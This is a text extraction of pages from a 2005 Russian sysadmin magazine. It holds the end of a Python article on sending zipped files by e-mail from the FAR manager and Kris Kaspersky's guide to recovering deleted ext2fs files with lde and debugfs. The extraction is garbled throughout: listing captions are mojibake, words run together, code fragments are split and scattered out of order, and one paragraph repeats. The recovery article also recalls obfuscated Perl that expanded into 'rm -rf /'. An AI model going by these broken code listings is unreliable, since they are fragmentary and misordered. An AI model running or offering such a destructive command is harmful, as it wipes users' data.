Итак, что тут происходит? Класс mystdout имеет трифункции – setmystdout(), назначает в качестве стандартно-го потока вывода sys.stdout сам этот класс, setorigin() воз-вращает прежнее значение, заблаговременно сохраненноев self.origin. А функция write() необходима, чтобы этот классдействительно мог играть роль потока вывода. В ней-то ипроисходит все самое интересное – мы возвращаем наместо поток stdout, выводим в него переданную как пара-метр и перекодированную строку, и вновь назначаем пото-ком вывода класс mystdout. В итоге выводимые строки по-прежнему попадают на экран, но предварительно перехва-тываются и преобразуются в нужную кодировку.

Аналогично поступаем с sys.stdin. Классу mystdin нуженметод readline, который вызывает стандартный readlineобъекта sys.stdout (который сохранен в переменной self.origin)и возвращает считанную строку перекодированной.

Теперь становятся понятны загадочные строки в концемодуля send.py, в которых фигурируют объекты mi и mo.Они служат для переопределения потоков ввода-вывода.

Вторая неприятность заключается в том, что если имяфайла содержит русские символы, то, будучи упакованным,оно исказится. Связано это с тем, что такие программы,как WinRAR, WinZip, 7-Zip и т. д., считают, что имена упако-ванных файлов должны быть в кодировке cp866. Но классZipFile стандартного модуля zipfile никаких преобразованийимен файлов не выполняет, записывая их, как есть. Еслипредварительно преобразовать имя файла в нужную коди-ровку и в таком виде передать его функциям модуля, товозникает ошибка «Файл не найден», поскольку файла сполученным именем действительно не существует.

Ранее, когда я описывал отправку файлов по FTP, дан-ная проблема также имела место, но была не столь акту-альна, так как предполагалось, что и упаковка, и распаков-ка будут выполняться с помощью Python. В случае же элек-тронной почты можно почти со стопроцентной увереннос-тью утверждать, что распаковываться архив будет чем угод-но, но только не программой на Python.

Для частного решения указанной проблемы я слегкаподправил библиотечный файл zipfile.py, размещающийсяв каталоге Python, в подкаталоге Lib. Копируем этот мо-дуль под именем zipfrusw.py, и в модуле myzip подгружаемэтот измененный файл вместо zipfile. Именно это я и имелв виду, когда выше говорил о небольшой модификацииmyzip. Итак, в zipfrusw.py вносим следующие изменения. Висходную функцию close():

Ëèñòèíã 8. Èçìåíåíèÿ â ìîäóëå zipfile: close def close(self): """Close the file, and for mode "w" and "a" write the ending records.""".. .. .. .. .. .. self.fp.write(centdir)# self.fp.write(zinfo.filename)

try: fn4zip = unicode(zinfo.filename,

Ëèñòèíã 6. Ìîäóëü pymalog.py# -*- coding: cp1251 -*-import time, osname = os.path.dirname(__file__) + os.path.sep + 'pyma.log'def write(str):

dt = time.strftime('%d.%m.%Y %H:%I:%S')log = open(name, 'a+')log.write('%s: %s\n' % (dt, str))log.close()

if __name__ == '__main__':write('qwerty')

Ëèñòèíã 7. Ìîäóëü mystd.py# -*- coding: cp1251 -*-import sysfrom pymaconf import termcodepage, basecodepage# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà ââîäàclassmystdin:

def readline(self):str = self.origin.readline()return unicode(str, ↵↵↵↵↵

termcodepage).encode(basecodepage)def setmystdin(self):

self.origin, sys.stdin = sys.stdin, selfdef setorigin(self):

sys.stdin = self.origin

# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà âûâîäàclassmystdout:

def write(self, str):self.setorigin()

print unicode(str, ↵↵↵↵↵basecodepage).encode(termcodepage),

self.setmystdout()def setmystdout(self):

self.origin, sys.stdout = sys.stdout, selfdef setorigin(self):

sys.stdout = self.origin

Page 37: 028 Системный Администратор 03 2005

35№3, март 2005

администрирование

Синим выделены добавленные строки, зеленым – ис-ключенная. То есть здесь мы преобразуем имя файла в нуж-ную кодировку перед тем, как оно будет записано в файлархива. Для перекодировки используем функцию Unicode(),которая формирует строку в кодировке UTF, с последую-щим вызовом функции encode(), которая преобразуетUnicode-строку в указанную кодировку.

Чтобы модуль умел читать собственные творения, по-требуются изменения в функцию getinfo():

и в _RealGetContents():

Теперь упакованные файлы сохраняют свои первона-чальные имена при извлечении из архива, хотя должен при-знать, что всесторонние исследования я не проводил и немогу гарантировать, что подобный «хакинг» останется безпоследствий при другом использовании модуля. Я хотеллишь показать, что при желании исходные тексты стандар-тных модулей всегда можно подогнать под свои нужды.

Еще осталось сделать так, чтобы нашу утилиту можнобыло вызывать как «send», а не как «send.py». Для этогосоздадим bat-файл send.bat:

К сожалению, в нем мы вынуждены использовать пол-ные пути к файлам, что потребует редактирования каждыйраз, когда нужно будет перенести утилиту в другое место.Кроме того, сценарию send.py в данном примере может бытьпередано только 9 параметров, что налагает ограниченияна количество отправляемых за один раз файлов. Но затокомандная строка стала выглядеть так, как нам хочется.

Итак, мы получили небольшую утилиту, которая позво-ляет отправлять файлы по электронной почте непосред-

ственно из командной строки менеджера FAR. Благодаряиспользованию функции glob.glob() для формирования спис-ка файлов мы получили возможность задавать в парамет-ре files и шаблоны. Например, так мы отправим все файлы,имеющие расширение «py»:

Утилита получилась достаточно гибкой – можно указатьнесколько файлов для отправки (или несколько шаблонов),задавать имя формируемого архива (по умолчанию исполь-зуется имя первого файла или «archive.zip», если первымзадан шаблон), отказаться от упаковки и передать файлыкак есть. «Адресная книга» несколько упрощает ввод ад-ресов электронной почты, позволяя указывать псевдони-мы для тех адресов, которые вы наиболее часто использу-ете. Чтобы не усложнять командную строку, тема и сопро-водительный текст сообщения запрашиваются интерактив-но. При желании такое поведение можно отключить, уста-новив соответствующие переменные в pymaconf.py в ноль.

Из недостатков можно указать малоинформативныйвывод сообщений об ошибках, не совсем точное следова-ние стандартам, несколько громоздкий и неудобный длянепосредственного просмотра формат лог-файла. Также вданной версии не предусмотрена одновременная отправкасразу на несколько адресов. В тело письма сейчас можнопоместить только одну строку, поскольку нажатие клави-ши Enter прекратит ввод. Однако, как и раньше, исходныйкод всегда доступен, и любой недостаток при наличии вре-мени и желания можно легко превратить в достоинство.

Кстати, эта утилита замечательно работает и в FreeBSD.Нужно только подправить переменные в конфигурацион-ном файле, отвечающие за кодировку, и вместо созданияbat-файла просто переименовать send.py в send, снабдивего «магической» строчкой:

Ну и не забыть сделать этот файл исполняемым и дос-тупным для поиска по переменной окружения PATH. На моемсервере, где используется koi8-r, строки файла конфигура-ции, отвечающие за кодировки, выглядят таким образом:

Кодировку сообщений в исходных текстах можно оста-вить как есть (параметр basecodepage), единственное, вэтом случае имена упаковываемых файлов в диагностичес-ких сообщениях будут нечитаемыми. Исправить это можновведением нескольких дополнительных перекодировок, ноих уже и без того достаточно.

На других платформах работоспособность утилиты непроверялась, однако причин для проблем вроде бы ника-ких нет, и если вашей системой поддерживается Python, тодолжен работать и рассмотренный код.

pymaconf.termcodepage).encode('cp866') self.fp.write(fn4zip)except: self.fp.write(zinfo.filename)

self.fp.write(zinfo.extra).. .. .. .. .. ..

Ëèñòèíã 9. Èçìåíåíèÿ â ìîäóëå zipfile: getinfo def getinfo(self, name): """Return the instance of ZipInfo given 'name'."""

try: name = unicode(name, ↵↵↵↵↵

'cp866').encode(pymaconf.termcodepage)except:

pass return self.NameToInfo[name]

Ëèñòèíã 10. Èçìåíåíèÿ â ìîäóëå zipfile: _RealGetContentsdef _RealGetContents(self): """Read in the table of contents for the ZIP file."""

.. .. .. .. .. ..if self.debug > 2:

print centdirfilename = fp.read(centdir[_CD_FILENAME_LENGTH])filename = unicode(filename, ↵↵↵↵↵

'cp866').encode(pymaconf.termcodepage)# Create ZipInfo instance to store# file informationx = ZipInfo(filename)

.. .. .. .. .. ..

\myprogs\python\python \myprogs\utils\pyma\send.py %1 ↵↵↵↵↵%2 %3 %4 %5 %6 %7 %8 %9

sendtome files *.py as pyma

#!/usr/local/bin/python

Ëèñòèíã 11. Èçìåíåíèÿ â pymaconf.py äëÿ FreeBSDbasecodepage = 'cp1251'termcodepage = 'koi8-r'mailcodepage = 'cp1251'fzipcodepage = 'cp1251'fsyscodepage = 'koi8-r'

Page 38: 028 Системный Администратор 03 2005

36

администрирование

Информации по восстановлению данных под Linux практи-чески нет. Как будто у пользователей этой ОС данные неисчезают. Исчезают, еще как! Ошибочное удаление файлов –достаточно распространенное явление, наверное, даже бо-лее частое, чем в мире Microsoft. Под Windows большин-ство файловых операций осуществляется вручную с помо-щью «Проводника» или других интерактивных средств типаFAR. Интерактивные среды есть и в Linux (KDE, GNOME,Midnight Commander), но есть там и поклонники команднойстроки, а командная строка – это регулярные выражения искрипты, то есть автоматизированные средства управле-ния – мощные, удобные, и… разрушительные. Малейшаянебрежность их проектирования и… прощай, мои файлы!Помнится, год-два назад по сети распространялся «Албанс-кий вирус». То тут, то там на форумах появлялись сообще-ния с просьбой объяснить, что делает очень запутанный кодна Perl. Задетые за живое гуру, поленившись вникнуть в егосуть, просто запускали непонятную программу на выполне-ние... и напрасно! Посредством нетривиальных подстановокстроковая конструкция разворачивалась в «rm -rf /»! Восста-новить весь корневой каталог под ext2fs, а тем более ext3fsочень и очень сложно. Можно даже сказать, практически не-

реально. Однако если пользователь был зарегистрирован всистеме не как root, жертвами неосторожного экспериментаоказывались «всего лишь» файлы из его домашнего ката-лога. Поэтому в данной статье речь пойдет только о восста-новлении отдельных, наиболее ценных файлов.

Перефразируя Булгакова, можно сказать: мало того, чтофайл смертен, так он еще и внезапно смертен! Беда никог-да не предупреждает о своем приходе, и администраторуприходится быть постоянно начеку. Несколько секунд на-зад все было хорошо: цвела весна, винчестер оживленнострекотал всеми своими головками, администратор отхле-бывал кофе из черной кружки с надписью root, раздумы-вая: то ли поиграть в DOOM, то ли поболтать с секретар-шей, как вдруг… бабах! Сотни гигабайт ценнейших данныхразлетелись на мелкие осколки. Все силы брошены на раз-гребания завалов и спасения всех, кого еще можно спасти.

ИнструментарийПрограмм, пригодных для восстановления данных, под Linuxсовсем немного, намного меньше, чем под Windows NT, даи тем до совершенства как до Луны. Но ведь не разрабаты-вать же весь необходимый инструментарий самостоятель-

ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ФАЙЛОВПОД LINUX

Каждый из нас хотя бы однажды удалял ценныйфайл, а то и весь корневой каталог целиком!Резервной копии нет. Времени на поиски утилитдля восстановления – тоже. Как быть?К счастью, все необходимое уже включенов ваш любимый дистрибутив и всегда находитсяпод рукой. Если говорить кратко: debugfs, lsdel,stat, cat, dump, undel. Если чуть подробнее –читайте эту статью, рассказывающуюо восстановлении данных на ext2fs и отчастиext3fs-разделах.

Каждый из нас хотя бы однажды удалял ценныйфайл, а то и весь корневой каталог целиком!Резервной копии нет. Времени на поиски утилитдля восстановления – тоже. Как быть?К счастью, все необходимое уже включенов ваш любимый дистрибутив и всегда находитсяпод рукой. Если говорить кратко: debugfs, lsdel,stat, cat, dump, undel. Если чуть подробнее –читайте эту статью, рассказывающуюо восстановлении данных на ext2fs и отчастиext3fs-разделах.

КРИС КАСПЕРСКИ

Page 39: 028 Системный Администратор 03 2005

37№3, март 2005

администрирование

но?! Будем использовать то, что дают, утешая себя мыс-лью, что нашим предкам, работающим на динозаврах ма-шинной эры, приходилось намного сложнее.

Редактор дискаПод Linux диски чаще всего редактируются при помощи lde(расшифровывается как Linux Disk Editor). Это, конечно, неNorton Disk Editor, но и не Microsoft Disk Probe. Профессио-нально-ориентированный инструмент консольного типа сразумным набором функциональных возможностей. Пони-мает ext2fs, minix, xiafs и отчасти FAT (в перспективе обе-щана поддержка NTFS, которая на Linux никому не нужна,а вот отсутствие в этом списке UFS и FFS очень огорчает).

Поддерживает: отображение/редактирование содержи-мого в HEX-формате, просмотр суперблока (super-block),файловых записей (inode) и директорий в удобочитаемомвиде; контекстный поиск, поиск файловых записей, ссыла-ющихся на данный блок (полезная штука, только, к сожа-лению, реализованная кое-как и срабатывающая не всегда),режим восстановления с ручным редактированием спискапрямых/косвенных блоков, сброс дампа на диск и некото-рые другие второстепенные операции.

Может работать как в пакетном, так и в интерактивномрежимах. В пакетном режиме все управление осуществля-ется посредством командной строки, что позволяет полно-стью или частично автоматизировать некоторые рутинныеоперации.

Распространяется в исходных текстах по лицензии GPL(http://lde.sourceforge.net), денег не требует, работает прак-тически под любой UNIX-совместимой операционной сис-темой (включая FreeBSD) и входит во все «правильные»дистрибутивы (например, в Knoppix).

Работа с lde на первых порах производит довольно стран-ное впечатление: чувствуешь себя неандертальцем, пересев-шим с IBM PC на УКНЦ/ZX Spectrum и добывающим огоньтрением. Впрочем, со временем это проходит (программист,как известно, существо неприхотливое и ко всему привыка-ющее). Как вариант можно загрузиться со «спасательной дис-кеты» и использовать знакомый Norton Disk Editor илиRuntime NT Explorer, запущенный из-под Windows PE (вер-сия Windows NT, запускающаяся с CD-ROM без предвари-тельной установки на жесткий диск). С одной стороны, это

удобно (привычный интерфейс и все такое), с другой – ниDisk Editor, ни NT Explorer не поддерживают ext2fs/ext3fs, ивсе структуры данных приходится декодировать вручную.

hex-редакторыUNIX – это вам не Windows! Без дисковых редакторов здесьв принципе можно и обойтись. Берем любой hex-редактор,открываем соответствующее дисковое устройство (напри-мер, /dev/sdb1) и редактируем его в свое удовольствие. Кра-сота! Старожилы, должно быть, помнят, как во времена пер-вой молодости MS-DOS, когда ни HIEW, ни QVIEW еще несуществовало, правка исполняемых файлов на предмет «от-лома» ненужного 7xh обычно осуществлялось DiskEdit, т.е.дисковый редактор использовался как hex. А в UNIX, на-оборот, hex-редакторы используются для редактированиядиска.

Какой редактор выбрать? В общем-то, это дело вкуса(причем не только вашего, но еще и составителя дистрибу-тива). Одни предпочитают консольный hexedit, другие тяго-теют к графическому khededit, а третьи выбирают BIEW (уре-занная калька со всем известного HIEW).

Отладчики файловой системыОтладчиками файловой системы называют утилиты, даю-щие доступ к «святая святых» файловой системы и позво-

Ðèñóíîê 1. Äèñêîâûé ðåäàêòîð LDE (Linux Disk Editor)

Ðèñóíîê 2. Âíåøíèé âèä ðåäàêòîðà hexedit

Ðèñóíîê 3. Âíåøíèé  âèä  ðåäàêòîðà  khexedit

Page 40: 028 Системный Администратор 03 2005

38

администрирование

ляющие манипулировать ключевыми структурами данныхпо своему усмотрению.

Чем они отличаются от простых редакторов? Редакторработает на более низком уровне – уровне блоков или сек-торов. Он в принципе может представлять некоторые струк-туры в наглядном виде, однако в их «физический» смыслникак не вникает.

Отладчик файловой системы работает через драйвер,и потому испортить раздел с его помощью намного слож-нее. Он реализует довольно высокоуровневые операции,такие как установка/снятие флага занятости блока, созда-ние новой символьной ссылки и т. д. А вот «посекторного»hex-редактора отладчики файловой системы обычно не со-держат, поэтому обе категории программ взаимно допол-няют друг друга.

Большинство дистрибутивов Linux (если не все из них)включают в себя отладчик debugfs, поддерживающий ext2fsи отчасти ext3fs.

Дисковые доктораВ мире UNIX проверка целостности файловой системы обыч-но осуществляется программой fsck (аналог chkdsk подWindows NT), представляющей собой консольную утилиту,практически лишенную пользовательского интерфейса ивходящую в штатный комплект поставки любого дистрибу-тива. Как и любое другое полностью автоматизированноесредство, она не только лечит, но случается, что и калечит,так что пользоваться ей следует с очень большой осторож-ностью.

LiveCDЗа последние несколько лет появилось множество дистри-бутивов Linux, загружающихся прямо с CD-ROM и не тре-бующих установки на винчестер. Очень удобная штука длявосстановления данных. Однако далеко не все дистрибу-тивы для этого пригодны.

Knoppix 3.7 – самый лучший дистрибутив из всех, чтомне доводилось видеть. Основан на Debian GNU/Linux. За-

нимает всего один диск, но содержит практически все: отдисковых утилит и компиляторов до офисных пакетов имультимедийных приложений1. Очень шустро работает, тре-бует от 128 Мб оперативной памяти (если меньше – будетвести свопинг на диск). В 2004 году издательство O’Reillyвыпустило шикарную книгу «KNOPPIX Hacks», содержащуюглавы, посвященные технике восстановления данных.

Frenzy 0.3 – дистрибутив, основанный на FreeBSD с не-большим количеством дисковых утилит, ориентированныхна ext2fs, в то время как основной файловой системой са-мой BSD является USF/FFS и ext2fs она поддерживает по-стольку-поскольку2. Тем не менее для восстановительныхработ данный диск вполне пригоден, и всем поклонникамBSD его можно смело рекомендовать.

SuSE 9.2 – по классификации, предложенной Винни-Пу-хом, это неправильный дистрибутив. Занимает два диска(один с KDE, другой с GNOME). Требует не менее 256 Мбоперативной памяти (правда, KDE-версия запускается и при220 Мб). Очень медленно работает и не содержит ничего,кроме щепотки офисных программ.

Подготовка к восстановлениюПрежде чем приступать к восстановлению, обязательно раз-монтируйте дисковый раздел или на худой конец перемон-тируйте его в режим «только на чтение». Лечение актив-ных разделов зачастую только увеличивает масштабы раз-рушения. Если восстанавливаемые файлы находятся на ос-новном системном разделе, у нас два пути – загрузиться сLiveCD или подключить восстанавливаемый жесткий дискна Linux-машину вторым.

Чтобы чего-нибудь не испортить, никогда не редакти-руйте диск напрямую. Работайте с его копией, которую мож-но создать командой:

где sdb1 – имя устройства, а my_dump – имя файла-дампаили использовать dd (некоторым так привычнее). Файл-дамп можно разместить на любом свободном разделе илиперегнать на другую машину по сети. Все дисковые утили-ты (lde, debugsf, fschk) не заметят подвоха и будут работатьс ним, как с «настоящим» разделом.

При необходимости его даже можно смонтировать нафайловую систему:

чтобы убедиться, что восстановление прошло успешно.Команда:

копирует восстановленный файл-дамп обратно в раздел, хотяделать это совсем необязательно. Проще (и безопаснее)копировать только восстанавливаемые файлы.

cp /dev/sdb1 my_dump

mount my_dump mount_point -o loop

cp my_dump /dev/sdb1

1 Обзор дистрибутива Knoppix смотрите на стр. 4-6. (Прим. ред.)2 Обзор дистрибутива Frenzy – в статьях Александра Байрака «Безумный чертёнок», №1, 2004 г. и «Frenzy: FreeBSD в кармане сисадмина»

Сергея Можайского в №2, 2004 г.

Ðèñóíîê 4. Debugfs  çà  ðàáîòîé

Page 41: 028 Системный Администратор 03 2005

39№3, март 2005

администрирование

Восстановление удаленных файловна ext2fsExt2fs все еще остается базовой файловой системой длямногих Linux, поэтому рассмотрим ее первой. Концепции,которые она исповедует, во многом схожи с NTFS, так чтокультурного шока при переходе с NTFS на ext2fs с нами неслучится.

Подробное описание структуры хранения данных ищитев документе «Design and Implementation of the SecondExtended Filesystem», а также книге Э. Таненбаума «OperatingSystems: Design and Implementation» и статье В. Мешкова«Архитектура файловой системы ext2», опубликованной вжурнале «Системный администратор», №11, 2003 г. Исход-ные тексты дисковых утилит (драйвер файловой системы,lde, debugfs) также не помешают.

Структура файловой системыВ начале диска расположен boot-сектор (на незагрузочныхразделах он может быть пустым). За ним по смещению1024 байта от начала первого сектора лежит суперблок(super-block), содержащий ключевую информацию о струк-туре файловой системы. (В FAT и NTFS эта информацияхранится непосредственно в boot).

В первую очередь нас будет интересовать 32-разрядноеполе s_log_block_size, расположенное по смещению 18h байтот начала супер-блока. Здесь хранится размер одного блока(block), или в терминологии MS-DOS/Windows кластера, вы-раженный в виде показателя позиции, на которую нужносдвинуть число 200h. В естественных единицах это будетзвучать так: block_size = 200h << s_log_block_size (байт). Тоесть если s_log_block_size равен нулю, размер одного бло-ка составляет 400h байт или два стандартных сектора.

Вслед за суперблоком идут дескрипторы групп (groupdescriptors) и карты свободного пространства, в просторе-чии – битмапы (block bitmap/inode bitmap), которые нас малоинтересуют, а вот inode-таблицу, расположенную за ними,мы рассмотрим поподробнее.

В ext2fs (как и многих других файловых системах из мираUNIX) inode играет ту же самую роль, что и FILE Record вNTFS. Здесь сосредоточена вся информация о файле: типфайла (обычный файл, директория, символическая ссыл-ка и т. д.), логический и физический размер, схема разме-щения на диске, время создания, модификации, последне-го доступа и удаления, правда доступа и количество ссы-лок на файл.

Первые 12 блоков, занимаемых файлом, хранятся не-посредственно в самом inode в массиве DIRECT BLOCKS(непосредственные блоки для наглядности выделены по-лужирным шрифтом). Каждый элемент массива представ-ляет собой 32-битный номер блока. При среднем значенииBLOCK_SIZE в 4 Кб DIRECT BLOCK могут адресовать до4 * 12 = 48 Кб данных. Если файл превышает этот размер,создаются один или несколько блоков косвенной адресации(INDIRECT BLOCK). Первый блок косвенной адресации(1x INDIRECT BLOCK или просто INDIRECT BLOCK) хранитссылки на другие непосредственные блоки. Адрес этого бло-ка хранится в поле i_indirect_block в inod. Как легко посчи-тать, он адресует порядка BLOCK_SIZE/sizeof(DWORD) *BLOCK_SIZE = 4096/4 *4 Мб данных. Если этого вдруг ока-жется недостаточно, создается дважды косвенный блок(2x INDIRECT BLOCK или DOUBLE INDIRECT BLOCK), хра-нящий указатели на косвенные блоки, что позволяет адре-совать (BLOCK_SIZE/sizeof(DWORD))**2* BLOCK_SIZE =4096/4 ** 4096 = 4 Гб данных. Если же этого все равно недо-статочно, создается трижды косвенный блок (3x INDIRECTBLOCK или TRIPLE INDIRECT BLOCK), содержащий ссыл-ки на дважды косвенные блоки (на данном рисунке триждыкосвенный блок не показан).

Отметим, что по сравнению с NTFS такая схема хране-ния информации о размещении гораздо проще устроена,но вместе с тем и прожорлива. Однако она обладает однимнесомненным достоинством, которое оставляет NTFS да-леко позади. Поскольку все ссылки хранятся в неупакован-ном виде, для каждого блока файла мы можем быстро най-ти соответствующий ему косвенный блок, даже если inodeполностью разрушен.

Ëèñòèíã 1. Ñòðóêòóðà äèñêîâîãî òîìà, ðàçìå÷åííîãî ïîä ext2fs

Ëèñòèíã 2. Ôîðìàò  ïðåäñòàâëåíèÿ  inode

Ðèñóíîê 5. Îïèñàíèå ïîðÿäêà ðàçìåùåíèÿ ôàéëà íà äèñêå,èåðàðõèÿ íåïîñðåäñòâåííûõ è êîñâåííûõ áëîêîâ

Page 42: 028 Системный Администратор 03 2005

40

администрирование

Имя файла в inode не хранится. Ищите его внутри дирек-торий, представляющих собой массив записей следующеговида:

При удалении файла операционная система находит со-ответствующую запись в директории. Обнуляет поле inode иувеличивает размер предшествующей записи (поле rec_len)на величину удаляемой. То есть предшествующая записькак бы «поглощает» удаленную. И хотя имя файла до порыдо времени остается нетронутым, ссылка на соответствую-щий ему inode оказывается уничтоженной. Вот и попробуйразобраться, какому файлу какое имя принадлежит!

В самом inode при удалении файла тоже происходятбольшие изменения. Количество ссылок (i_links_count) сбра-сывается в нуль и обновляется поле последнего удаления(i_dtime). Все блоки, принадлежащие файлу, в карте сво-бодного пространства (block bitmap) помечаются как неис-пользуемые, после чего данный inode также освобождает-ся (в inode bitmap).

Техника восстановления удаленных файловВ ext2fs полное восстановление даже только что удален-ных файлов невозможно. В этом смысле она проигрываеткак FAT, так и NTFS. Как минимум теряется имя файла.Точнее говоря, теряется связь имен файлов с их содержи-мым. При удалении небольшого количества хорошо извес-тных файлов это еще терпимо (имена-то ведь сохранились!),но что делать, если вы удалили несколько служебных под-каталогов, в которых никогда ранее не заглядывали?

Достаточно часто inode назначаются в том же порядке,в котором создаются записи в таблице директорий, к томуже существует такая штука, как «расширения» (.c, .gz, .mpgи т. д.), так количество возможных комбинаций соответ-ствий имен файлов и inode чаще всего бывает относитель-но небольшим. Тем не менее восстановить удаленный кор-невой каталог в автоматическом режиме никому не удаст-ся, а вот NTFS с этим справляется без труда.

В общем, стратегия восстановления выглядит прибли-зительно так: сканируем таблицу inode и отбираем все за-писи, чье поле i_links_count равно нулю. Сортируем их подате удаления, чтобы файлы, удаленные последними, ока-зались наверху списка. Как вариант можно просто нало-жить фильтр (мы ведь помним примерное время удаления,не правда ли?). Если соответствующие inode еще не затер-ты вновь создаваемыми файлами, извлекаем список пря-мых/косвенных блоков и записываем их в дамп, корректи-руя его размер с учетом «логического» размера файла, закоторое отвечает поле i_size.

Восстановление при помощи ldeОткрываем редактируемый раздел или его файловую ко-пию: «lde my_dump» или «lde /dev/sdb1». Редактор автома-

тически определяет тип файловой системы (в данном слу-чае ext2fs) и предлагает нажать «any key» для продолже-ния. Нажимаем! Редактор переключается в режим отобра-жения суперблока и предлагает нажать <I> для перехода врежим inode и <B> для перехода в блочный режим (block-mode). Жмем <I> и оказываемся в первом inode, описыва-ющем корневой каталог. <Page Down> перемещает нас кследующему inode, а <Page Up> – к предыдущему. Пролис-тываем inode вниз, обращая внимание на поле LINKS. Уудаленных файлов оно равно нулю, и тогда «DELETIONTIME» содержит время последнего удаления (мы ведь по-мним его, правда?).

Обнаружив подходящий inode, перемещаем курсор кпервому блоку в списке DIRECT BLOCKS (где он долженнаходиться по умолчанию) и нажимаем <F2>. В появившем-ся меню выбираем пункт «Block mode, viewing block undercursor» (или сразу нажимаем горячую клавишу <Shift-B>).Редактор перемещается на первый блок удаленного фай-ла. Просматривая его содержимое в hex-режиме, пытаем-ся определить, он ли это или нет. Чтобы возвратиться к про-смотру следующего inode, нажимаем <I>, чтобы восстано-вить файл – <Shift-R>, затем еще раз <R> и имя файла-дампа для восстановления.

Можно восстанавливать файлы и по их содержимому.Допустим, нам известно, что удаленный файл содержитстроку «hello, world». Нажимаем <f> и затем <A> (Search allblock). Этим мы заставляем редактор искать ссылки на всеблоки, в том числе и удаленные. Как вариант можно запус-тить редактор с ключом «--all». Но так или иначе мы нажи-маем <B>, затем, когда редактор перейдет в block-mode, –</> и вводим ASCII-строку для поиска. Находим нужныйблок. Прокручивая его вверх-вниз, убеждаемся, что он дей-ствительно принадлежит тому самому файлу. Если это так,нажимаем <Ctrl>+<R>, заставляя редактор просматриватьвсе inode, содержащие ссылку на этот блок. Номер теку-щего найденного inode отображается внизу экрана. (Имен-но внизу! Вверху отображается номер последнего просмот-ренного inode в режиме inode). Переходим в режим inodeпо клавише <I>, нажимаем <#> и вводим номер inode, кото-рый хотим просмотреть. Если дата удаления более или ме-нее соответствует действительности, нажимаем <Shift-R>/<R> для сброса файла на диск. Если нет – возвращаемся вblock-mode и продолжаем поиск.

В сложных случаях, когда список прямых и/или косвен-ных блоков разрушен, восстанавливаемый файл приходит-ся собирать буквально по кусочкам, основываясь на еговнутреннем содержимом и частично – на стратегии выде-ления свободного пространства файловой системой. В этомнам поможет клавиша <w> – дописать текущий блок кфайлу-дампу. Просто перебираем все свободные блокиодин за другим (редактор помечает их строкой NOT USED)и, обнаружив подходящий, дописываем в файл. Конечно,сильно фрагментированный двоичный файл так не восста-новить, но вот листинг программы можно вполне.

Вывод – ручное восстановление файлов с помощью ldeкрайне непроизводительно и трудоемко, зато наиболее«прозрачно» и надежно.

А вот восстанавливать оригинальные имена лучше все-го при помощи debugfs.

Ëèñòèíã 3. Ôîðìàò ïðåäñòàâëåíèÿ ìàññèâà äèðåêòîðèé

Page 43: 028 Системный Администратор 03 2005

41№3, март 2005

администрирование

Восстановление при помощи debugfsЗагружаем в отладчик редактируемый раздел или его ко-пию, «debugfs my_dump» или «debugfs /dev/sdb1». Если мыпланируем осуществлять запись на диск, необходимо ука-зать ключ «-w» («debugfs -w my_dump» или «debugfs -w /dev/sdb1». Чтобы просмотреть список удаленных файлов, даемкоманду «lsdel» (или «lsdel t_sec», где t_sec – количество се-кунд, прошедшее с момента удаления файла). Экран запол-няется списком удаленных файлов. Естественно, без имен.Файлы, удаленные более чем t_sec секунд назад (если secзадан), в этот список не попадают.

Команда «cat <N>» выводит содержимое текстовогофайла на терминал, где <N> – номер inode, заключенный вугловые кавычки. При выводе двоичных файлов на экранетворится черт знает что, и такие файлы должны сбрасы-ваться в дамп командой «dump <N> new_file_name», где«new_file_name» – новое имя файла (с путем), под которымон будет записан в родную (native) файловую систему, т.е.ту файловую систему, на которой был запущен debugfs.Файловая система восстанавливаемого раздела при этомостается неприкосновенной. Другими словами, наличиеключа «-w» для этого не требуется.

При желании можно «реанимировать» файл непосред-ственно на самой восстанавливаемой файловой системе (чтоособенно удобно при восстановлении больших файлов).В этом нам поможет команда «undel <N> undel_file_name»,где undel_file_name – имя, которое будет присвоено файлупосле восстановления. Внимание! Когда будете это делать,помните, что команда undel крайне агрессивна и деструк-тивна по своей природе. Она затирает первую свободнуюзапись в таблице директорий, делая восстановление ориги-нальных имен невозможным!

Команда «stat <N>» отображает содержимое inode вудобочитаемом виде, а команда «mi <N>» позволяет редак-тировать их по своему усмотрению. Для ручного восстанов-ления файла (которого не пожелаешь и врагу) мы должныустановить счетчик ссылок (link count) в единицу, а времяудаления (deletion time), наоборот, сбросить в нуль. Затемотдать команду «seti <N>», помечающую данный inode какиспользуемый, и для каждого из блоков файла выполнить«setb X», где X – номер блока (перечень блоков, занимае-мых файлов, можно подсмотреть командой stat, причем вотличие от lde она отображает не только непосредствен-ные, но и косвенные блоки, что несравненно удобнее). Ос-тается только дать файлу имя, что осуществляется путемсоздания каталожной ссылки (directory link), а делает этокоманда «ln <N> undel_file_name», где undel_file_name –имя, которое будет дано файлу после восстановления, принеобходимости с путем. (Внимание! создание каталожныхссылок необратимо затирает оригинальные имена удален-ных файлов). После этого полезно дать команду «dirty»,чтобы файловая система была автоматически проверенапри следующей загрузке, или выйти из отладчика и вруч-ную запустить fsck с ключом «-f», форсирующим проверку.

Теперь перейдем к восстановлению оригинального име-ни. Рассмотрим простейший случай, когда директория, со-держащая удаленный файл (также называемая материнс-кой директорией) все еще цела. Даем команду «stat dir_name» и запоминаем номер inode, который нам сообщат.

Говорим отладчику «dump <INODE> dir_file», где INODE –номер сообщенного нам индексного дескриптора, dir_file –имя файла на родной файловой системе, в которую будетзаписан дамп. Загружаем полученный дамп в hex-редак-тор и просматриваем его содержимое в «сыром» виде. Всеимена будут там. При желании можно написать утилиту-фильтр, выводящую только удаленные имена. На Perl этоне займет и десяти минут.

А как быть, если материнская директория тоже постра-дала? Тогда она и будет помечена удаленной! Выводимсписок удаленных inodе, отбираем из них директории, фор-мируем перечень принадлежащих им блоков и записыва-ем дамп в файл, просматриваемый вручную или с помо-щью утилиты-фильтра. Как уже отмечалось, порядок рас-положения файлов в списке inodе очень часто совпадает спорядком расположения файлов в директории, поэтомувосстановление оригинальных имен в четырех из пяти слу-чаев проходит на ура.

При тяжких разрушениях, когда восстанавливаемыйфайл приходится собирать по кусочкам, помогает команда«dump_unused», выводящая на терминал все неиспользуе-мые блоки. Имеет смысл перенаправить вывод в файл, за-пустить hexedit и покопаться в этой куче хлама – это, покрайней мере проще, чем лазить по всему диску (на дис-ках, заполненных более чем на три четверти, данный трюксокращает массу времени).

Вывод: debugfs в значительной мере автоматизируетвосстановление удаленных файлов (впрочем, до полногокомфорта ему далеко), однако восстановить файл с разру-шенным inode он не способен и без lde здесь не обойтись.

